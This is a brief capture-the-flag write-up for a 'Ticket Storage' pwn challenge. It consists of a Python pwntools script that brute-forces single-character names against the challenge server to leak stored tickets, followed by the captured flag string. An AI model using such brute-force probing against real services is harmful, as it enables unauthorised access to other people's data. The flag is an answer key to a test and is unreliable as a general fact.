Ticket Storage [PWN]

Ticket storage.

Ticket storage.

#!/usr/bin/python

from pwn import *

SEP = "-------- Ticket Storage --------"

for i in xrange(0x20, 0x7e):
    print "#### TRY %02x" % (i)
    p = remote("tasks.aeroctf.com", 33014)
    p.readuntil("{?} Enter name: ")
    p.send(chr(i) + "\n")
    p.readuntil("> ")
    p.send("3\n")
    r = p.readuntil(SEP).split(SEP)[0]
    p.close()
    if r != "":
        print "**** GOT IT"
        print r
        exit(0)

print "*** NOPE"

Flag

Aero{4af2aea9b7dea9aabbc1c9a423e4957fd4c615821f4ded0f618b629651a9d67c}